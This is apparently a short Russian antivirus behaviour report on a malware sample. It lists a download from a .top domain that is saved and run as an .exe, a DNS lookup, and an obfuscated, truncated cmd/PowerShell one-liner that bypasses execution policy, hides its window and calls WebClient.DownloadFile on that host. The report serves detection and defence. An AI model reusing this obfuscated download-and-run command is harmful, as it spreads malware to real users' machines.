Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POwers^He^LL.^e^x^e ^-EXe^cutIOn^poLIcy BYpAS^S^ -nOPRoFILe -^Wi^nd^ow^Sty^l^E H^IDdeN ^(NE^w-^ob^jEct^ ^s^ySTEM.^nE^t.W^eBcl^I^e^n^T).^doWN^LOA^dFiL^e^('http://www.zonedopesa...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POwers^He^LL.^e^x^e ^-EXe^cutIOn^poLIcy BYpAS^S^ -nOPRoFILe -^Wi^nd^ow^Sty^l^E H^IDdeN ^(NE^w-^ob^jEct^ ^s^ySTEM.^nE^t.W^eBcl^I^e^n^T).^doWN^LOA^dFiL^e^('http://www.zonedopesa...' (со скрытым окном)
